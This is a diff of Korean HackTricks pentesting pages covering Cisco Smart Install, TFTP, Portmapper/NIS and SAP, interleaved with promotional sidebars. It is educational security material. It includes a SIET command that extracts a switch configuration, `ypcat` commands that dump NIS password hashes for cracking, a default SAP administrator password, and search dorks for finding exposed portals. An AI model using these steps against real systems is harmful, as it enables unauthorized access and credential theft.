* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Cisco Smart Install**은 새로운 Cisco 하드웨어의 초기 구성 및 운영 체제 이미지 로딩을 자동화하기 위해 Cisco가 설계한 것입니다. **기본적으로 Cisco Smart Install은 Cisco 하드웨어에서 활성화되며 전송 계층 프로토콜인 TCP와 함께 포트 번호 4786을 사용합니다.**
|
||||
**Cisco Smart Install**은 새로운 Cisco 하드웨어의 초기 구성 및 운영 체제 이미지 로딩을 자동화하기 위해 Cisco가 설계한 것입니다. **기본적으로 Cisco Smart Install은 Cisco 하드웨어에서 활성화되며 전송 계층 프로토콜인 TCP와 포트 번호 4786을 사용합니다.**
|
||||
|
||||
**기본 포트:** 4786
|
||||
```
|
||||
|
@ -36,33 +36,33 @@ PORT STATE SERVICE
|
|||
* RCE 호출
|
||||
* 네트워크 장비의 구성을 도용
|
||||
|
||||
**[SIET](https://github.com/frostbits-security/SIET) (스마트 설치 악용 도구)**는 이 취약점을 악용하기 위해 개발되었으며 Cisco Smart Install을 남용할 수 있게 합니다. 이 기사에서는 합법적인 네트워크 하드웨어 구성 파일을 읽는 방법을 보여드리겠습니다. Pentester에게 구성 파일 유출은 가치가 있을 수 있습니다. 왜냐하면 네트워크의 고유한 기능에 대해 알게 되기 때문입니다. 이는 삶을 쉽게 만들어주고 공격을 위한 새로운 벡터를 찾을 수 있게 합니다.
|
||||
**[SIET](https://github.com/frostbits-security/SIET) (스마트 설치 악용 도구)**는 이 취약점을 악용하기 위해 개발되었으며 Cisco Smart Install을 남용할 수 있게 합니다. 이 기사에서는 합법적인 네트워크 하드웨어 구성 파일을 읽는 방법을 보여드리겠습니다. 구성 유출은 펜테스터에게 가치가 있을 수 있습니다. 왜냐하면 네트워크의 고유한 기능에 대해 알게 되기 때문입니다. 그리고 이는 삶을 더 쉽게 만들어주고 공격을 위한 새로운 벡터를 찾을 수 있게 합니다.
|
||||
|
||||
**대상 장치는 "실제" Cisco Catalyst 2960 스위치입니다. 가상 이미지에는 Cisco Smart Install이 없으므로 실제 하드웨어에서만 연습할 수 있습니다.**
|
||||
|
||||
대상 스위치의 주소는 **10.10.100.10이며 CSI가 활성화되어 있습니다.** SIET를 로드하고 공격을 시작합니다. **-g 인수**는 장치에서 구성을 유출하는 것을 의미하며, **-i 인수**는 취약한 대상의 IP 주소를 설정할 수 있습니다.
|
||||
대상 스위치의 주소는 **10.10.100.10이고 CSI가 활성화되어 있습니다.** SIET를 로드하고 공격을 시작합니다. **-g 인수**는 장치에서 구성을 유출하는 것을 의미하며, **-i 인수**는 취약한 대상의 IP 주소를 설정할 수 있습니다.
|
||||
```
|
||||
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**10.10.100.10** 스위치 구성은 **tftp/** 폴더에 있을 것입니다.
|
||||
스위치 구성 **10.10.100.10**은 **tftp/** 폴더에 있을 것입니다.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사의 회사를 광고**하고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사 광고를 보고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여하세요.**
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**을 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
- **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
# 기본 정보
|
||||
|
||||
**Trivial File Transfer Protocol (TFTP)**은 **UDP 포트 69**에서 사용되는 간단한 프로토콜로, 인증이 필요하지 않은 파일 전송을 허용합니다. **RFC 1350**에서 강조되었으며, 간단함으로 인해 주요 보안 기능이 부족하여 공개 인터넷에서는 제한적으로 사용됩니다. 그러나 **TFTP**는 **VoIP 핸드셋**과 같은 장치에 **구성 파일** 및 **ROM 이미지**를 효율적으로 배포하기 위해 대규모 내부 네트워크에서 널리 사용됩니다.
|
||||
**Trivial File Transfer Protocol (TFTP)**은 **인증이 필요하지 않은 파일 전송을 허용하는** **UDP 포트 69**에서 사용되는 간단한 프로토콜입니다. **RFC 1350**에서 강조되었으며, 그 간단함으로 인해 주요 보안 기능이 부족하여 공개 인터넷에서는 제한적으로 사용됩니다. 그러나 **TFTP**는 **VoIP 핸드셋**과 같은 장치에 **구성 파일** 및 **ROM 이미지**를 효율적으로 배포하기 위해 대규모 내부 네트워크에서 널리 사용됩니다.
|
||||
|
||||
**할 일**: Bittorrent-tracker가 무엇인지에 대한 정보를 제공하세요 (Shodan은 이 포트를 해당 이름으로 식별합니다). 이에 대해 더 많은 정보를 가지고 있다면 [**HackTricks 텔레그램 그룹**](https://t.me/peass) (또는 [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)의 github 이슈)에서 알려주세요.
|
||||
**할 일**: Bittorrent-tracker가 무엇인지에 대한 정보 제공 (Shodan은 이 포트를 해당 이름으로 식별). 이에 대해 더 많은 정보를 가지고 있다면 [**HackTricks 텔레그램 그룹**](https://t.me/peass) (또는 [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)의 github 이슈)에서 알려주세요.
|
||||
|
||||
**기본 포트:** 69/UDP
|
||||
```
|
||||
|
@ -29,7 +29,7 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
# 열거
|
||||
|
||||
TFTP는 디렉토리 목록을 제공하지 않으므로 `nmap`의 `tftp-enum` 스크립트는 기본 경로를 브루트 포스할 것입니다.
|
||||
TFTP는 디렉토리 목록을 제공하지 않으므로 `nmap`의 `tftp-enum` 스크립트는 기본 경로를 무차별 대입할 것입니다.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
|
@ -51,7 +51,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
* `포트:69`
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -60,12 +60,12 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,33 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Portmapper**는 네트워크 서비스 포트를 **RPC** (원격 프로시저 호출) 프로그램 번호에 매핑하는 데 사용되는 서비스입니다. 이는 **Unix 기반 시스템**에서 중요한 구성 요소로 작용하여 이러한 시스템 간의 정보 교환을 용이하게 합니다. **Portmapper**와 관련된 **포트**는 공격자에 의해 자주 스캔되며 가치 있는 정보를 노출할 수 있습니다. 이 정보에는 실행 중인 **Unix 운영 체제(OS)**의 유형 및 시스템에서 사용 가능한 서비스에 대한 세부 정보가 포함됩니다. 또한 **Portmapper**는 네트워크 서비스를 효과적으로 관리하기 위해 **NFS (Network File System)**, **NIS (Network Information Service)** 및 기타 **RPC 기반 서비스**와 함께 일반적으로 사용됩니다.
|
||||
**Portmapper**는 네트워크 서비스 포트를 **RPC** (원격 프로시저 호출) 프로그램 번호로 매핑하는 데 사용되는 서비스입니다. 이는 **Unix 기반 시스템**에서 중요한 구성 요소로 작용하여 이러한 시스템 간의 정보 교환을 용이하게 합니다. **Portmapper**와 관련된 **포트**는 공격자에 의해 자주 스캔되며 가치 있는 정보를 노출할 수 있습니다. 이 정보에는 실행 중인 **Unix 운영 체제 (OS)**의 유형 및 시스템에서 사용 가능한 서비스에 대한 세부 정보가 포함됩니다. 또한 **Portmapper**는 네트워크 서비스를 효과적으로 관리하기 위해 **NFS (Network File System)**, **NIS (Network Information Service)** 및 기타 **RPC 기반 서비스**와 함께 자주 사용됩니다.
|
||||
|
||||
**기본 포트:** 111/TCP/UDP, Oracle Solaris의 경우 32771
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
```
|
||||
## 열거 (Enumeration)
|
||||
## 열거
|
||||
```
|
||||
rpcinfo irked.htb
|
||||
nmap -sSUC -p111 192.168.10.1
|
||||
|
@ -39,21 +39,21 @@ nmap -sSUC -p111 192.168.10.1
|
|||
|
||||
## RPCBind + NFS
|
||||
|
||||
만약 NFS 서비스를 찾는다면 파일을 나열하고 다운로드(그리고 업로드)할 수 있을 것입니다:
|
||||
만약 NFS 서비스를 찾는다면 아마 파일을 나열하고 다운로드(그리고 아마 업로드)할 수 있을 것입니다:
|
||||
|
||||
![](<../.gitbook/assets/image (869).png>)
|
||||
|
||||
[2049 - Pentesting NFS service](nfs-service-pentesting.md)를 읽어서 이 프로토콜을 테스트하는 방법에 대해 더 알아보세요.
|
||||
[2049 - Pentesting NFS service](nfs-service-pentesting.md)를 읽어보세요. 이 프로토콜을 테스트하는 방법에 대해 더 알아볼 수 있습니다.
|
||||
|
||||
## NIS
|
||||
|
||||
**NIS** 취약점을 탐색하는 것은 `ypbind` 서비스를 식별하는 두 단계 과정으로 시작됩니다. 이 탐색의 중심은 **NIS 도메인 이름**을 발견하는 것이며, 이것이 없으면 진행이 중단됩니다.
|
||||
**NIS** 취약점을 탐색하는 것은 두 단계의 과정을 거칩니다. 먼저 `ypbind` 서비스를 식별하는 것으로 시작합니다. 이 탐색의 중심은 **NIS 도메인 이름**을 발견하는 것이며, 이것이 없으면 진행이 중단됩니다.
|
||||
|
||||
![](<../.gitbook/assets/image (856).png>)
|
||||
|
||||
탐색 여정은 필요한 패키지를 설치하는 것으로 시작합니다 (`apt-get install nis`). 그 다음 단계는 `ypwhich`를 사용하여 도메인 이름과 서버 IP로 NIS 서버의 존재를 확인하고, 이러한 요소들이 보안을 위해 익명화되어 있는지 확인하는 것을 요구합니다.
|
||||
탐색 여정은 필요한 패키지를 설치하는 것(`apt-get install nis`)으로 시작합니다. 그 다음 단계는 `ypwhich`를 사용하여 도메인 이름과 서버 IP로 핑을 보내 NIS 서버의 존재를 확인하는 것이며, 이러한 요소들이 보안을 위해 익명화되어 있는지 확인해야 합니다.
|
||||
|
||||
마지막이자 중요한 단계는 `ypcat` 명령을 사용하여 민감한 데이터를 추출하는 것인데, 특히 암호화된 사용자 비밀번호를 포함합니다. 이러한 해시는 **John the Ripper**와 같은 도구를 사용하여 해독되어 시스템 접근 및 권한에 대한 통찰을 제공합니다.
|
||||
마지막이자 중요한 단계는 `ypcat` 명령을 사용하여 민감한 데이터를 추출하는 것인데, 특히 암호화된 사용자 암호를 포함합니다. 이러한 해시는 **John the Ripper**와 같은 도구를 사용하여 해독되어 시스템 접근 및 권한에 대한 통찰을 제공합니다.
|
||||
```bash
|
||||
# Install NIS tools
|
||||
apt-get install nis
|
||||
|
@ -81,20 +81,21 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
|||
|
||||
## 필터링된 Portmapper 포트 우회
|
||||
|
||||
**nmap 스캔**을 수행하고 포트 111이 필터링된 상태에서 열린 NFS 포트를 발견하면, 이러한 포트의 직접적인 악용은 불가능합니다. 그러나 **로컬로 포트맵퍼 서비스를 시뮬레이션하고 자신의 기기에서 대상으로 터널을 생성함으로써**, 표준 도구를 사용하여 악용이 가능해집니다. 이 기술을 사용하면 포트 111의 필터링된 상태를 우회하여 NFS 서비스에 액세스할 수 있습니다. 이 방법에 대한 자세한 안내는 [이 링크](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)에서 확인할 수 있습니다.
|
||||
**nmap 스캔**을 수행하고 포트 111이 필터링된 상태인 열린 NFS 포트를 발견했을 때, 이러한 포트의 직접적인 악용은 불가능합니다. 그러나 **로컬로 포트맵퍼 서비스를 시뮬레이션하고 자신의 기기에서 대상으로 터널을 생성**함으로써, 표준 도구를 사용하여 악용이 가능해집니다. 이 기술을 사용하면 포트 111의 필터링된 상태를 우회하여 NFS 서비스에 액세스할 수 있습니다. 이 방법에 대한 자세한 안내는 [이 링크](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)에서 확인할 수 있습니다.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `Portmap`
|
||||
|
||||
## 실습할 랩
|
||||
## 실습 랩
|
||||
|
||||
* 이러한 기술을 [**Irked HTB machine**](https://app.hackthebox.com/machines/Irked)에서 실습하세요.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
```
|
||||
Protocol_Name: Portmapper #Protocol Abbreviation if there is one.
|
||||
|
@ -121,14 +122,14 @@ Command: nmap -sSUC -p 111 {IP}
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# SAP에 대한 소개
|
||||
|
||||
SAP는 데이터 처리 시스템 응용 프로그램 및 제품을 나타냅니다. SAP는 ERP \(Enterprise Resource Planning\) 소프트웨어의 이름이자 회사 이름입니다.
|
||||
SAP 시스템은 사실상 비즈니스 관리의 거의 모든 측면을 다루는 여러 통합 모듈로 구성됩니다.
|
||||
|
||||
각 SAP 인스턴스(또는 SID)는 데이터베이스, 응용 프로그램 및 표현으로 구성된 세 개의 레이어로 구성되며, 각 랜드스케이프는 일반적으로 개발, 테스트, QA 및 프로덕션 네 개의 인스턴스로 구성됩니다.
|
||||
각 SAP 인스턴스 \(또는 SID\)는 데이터베이스, 응용 프로그램 및 표현으로 구성된 세 개의 레이어로 구성되며, 각 랜드스케이프는 일반적으로 네 개의 인스턴스로 구성됩니다: 개발, 테스트, QA 및 프로덕션.
|
||||
각 레이어는 어느 정도로도 악용될 수 있지만, **데이터베이스를 공격하는 것이 가장 효과적**입니다.
|
||||
|
||||
각 SAP 인스턴스는 클라이언트로 나뉘어집니다. 각 클라이언트에는 "root"의 응용 프로그램 버전인 SAP\* 사용자가 있습니다.
|
||||
초기 생성 시, 이 사용자 SAP\*은 기본 암호 "060719992"를 받습니다(아래에 더 많은 기본 암호가 있음).
|
||||
각 SAP 인스턴스는 클라이언트로 나뉘어집니다. 각각은 사용자 SAP\*로, 응용 프로그램의 "루트"에 해당합니다.
|
||||
초기 생성 시, 이 사용자 SAP\*은 기본 암호 "060719992"를 받습니다 \(아래에 더 많은 기본 암호가 있음\).
|
||||
테스트 또는 개발 환경에서 이러한 **암호가 자주 변경되지 않는 것을 알게 될 것입니다**!
|
||||
|
||||
사용자 이름 <SID>adm을 사용하여 어떤 서버의 셸에 액세스하려고 시도하세요.
|
||||
Bruteforcing은 도움이 될 수 있지만, 계정 잠금 메커니즘이 있을 수 있습니다.
|
||||
Bruteforcing이 도움이 될 수 있지만, 계정 잠금 메커니즘이 있을 수 있습니다.
|
||||
|
||||
# 발견
|
||||
|
||||
> 다음 섹션은 대부분 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)의 사용자 shipcod3에서 가져온 것입니다!
|
||||
> 다음 섹션은 대부분 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)의 사용자 shipcod3의 것입니다!
|
||||
|
||||
* 테스트를 위해 응용 프로그램 범위 또는 프로그램 요약을 확인하세요. SAP GUI에 연결하기 위한 호스트 이름이나 시스템 인스턴스를 메모하세요.
|
||||
* 응용 프로그램이 인터넷에 노출되어 있거나 공개되어 있는 경우 파일, 서브도메인 및 중요한 정보를 확인하기 위해 OSINT(오픈 소스 인텔리전스), Shodan 및 Google Dorks를 사용하세요.
|
||||
* 인터넷에 노출되거나 공개된 경우 OSINT \(오픈 소스 인텔리전스\), Shodan 및 Google Dorks를 사용하여 파일, 서브도메인 및 중요한 정보를 확인하세요:
|
||||
```text
|
||||
inurl:50000/irj/portal
|
||||
inurl:IciEventService/IciEventConf
|
||||
|
